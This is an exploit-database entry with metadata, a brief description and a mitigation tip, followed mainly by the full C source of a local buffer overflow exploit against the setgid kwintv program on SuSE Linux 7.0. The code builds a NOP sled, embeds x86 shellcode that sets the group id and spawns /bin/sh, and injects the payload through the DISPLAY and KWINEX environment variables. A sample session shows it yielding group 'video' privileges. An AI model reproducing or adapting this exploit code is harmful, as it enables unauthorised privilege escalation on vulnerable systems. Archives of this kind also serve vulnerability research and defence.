(kwintv) local buffer overflow

vendor:

SuSE Linux

by:

Cody Tubbs

7,2

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: SuSE Linux

Affected Version From: SuSE 7.0

Affected Version To: SuSE 7.0

Patch Exists: NO

Related CWE: N/A

CPE: o:suse:suse_linux:7.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: x86

2000

(kwintv) local buffer overflow

This exploit is for SuSE 7.0 - x86. It is a local buffer overflow exploit which uses a sgid 'video' (33) by default. It uses NOP instructions to fill the buffer and then executes the shellcode to gain access to the system. The exploit is written in C language.

Mitigation:

The best way to mitigate buffer overflow attacks is to always check the length of user input and never trust user input. Also, use of a language that does not allow direct memory access can help prevent buffer overflow attacks.

Source

Exploit-DB raw data:

/*
 * (kwintv) local buffer overflow. (gid=video(33))
 *
 * Author: Cody Tubbs (loophole of hhp).
 * www.hhp-programming.net / pigspigs@yahoo.com
 * 12/17/2000
 *
 * For SuSE 7.0 - x86.
 * sgid "video"(33) by default.
 *
 * bash-2.04$ id
 * uid=1000(loophole) gid=501(noc)
 * bash-2.04$ ./b 0
 * Ret-addr 0xbfffe1fc, offset: 0, allign: 0.
 * sh-2.04$ id
 * uid=1000(loophole) gid=33(video)
 * sh-2.04$
 *
 */

#include <stdio.h>

#define OFFSET 0
#define ALLIGN 0
#define NOP    0x90
#define DBUF   481 //481+((RET)).
#define GID    33

static char shellcode[]=
  "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0"
  "\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31"
  "\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
  "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
  "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
  "\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x69";

long get_sp(void){
  __asm__("movl %esp,%eax");
}

void workit(char *heh){
  fprintf(stderr, "\n(kwintv) local exploit for SuSE 7.0 - x86\n");
  fprintf(stderr, "Author: Cody Tubbs (loophole of hhp)\n\n");
  fprintf(stderr, "Usage: %s <offset> [allign(0..3)]\n", heh);
  fprintf(stderr, "Examp: %s 0\n", heh);
  fprintf(stderr, "Examp: %s 0 1\n", heh);
  exit(1);
}


main(int argc, char **argv){
  char eipeip[DBUF], buffer[4096], heh[DBUF+1];
  int i, offset, gid, allign;
  long address;

  if(argc<2){
    workit(argv[0]);
  }
 
  if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
  if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;}

  address=get_sp()-offset;

  if(allign>0){for(i=0;i<allign;i++){eipeip[i]=0x69;}}//0x69.HEH.:D
  for(i=allign;i<DBUF;i+=4){*(long *)&eipeip[i]=address;}

  gid=GID;
  shellcode[10]=gid;
  shellcode[22]=gid;
  shellcode[24]=gid;
 
  for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
    buffer[i]=NOP;
  }
 
  memcpy(heh, eipeip, strlen(eipeip));
  memcpy(heh, "DISPLAY=", 8);
  putenv(heh);

  memcpy(buffer+i, shellcode, strlen(shellcode));
  memcpy(buffer, "KWINEX=", 7);
  putenv(buffer);
 
  fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address,offset,allign);
  execlp("/opt/kde/bin/kwintv", "kwintv", 0);//Change path if needed. :D
}


// milw0rm.com [2000-12-06]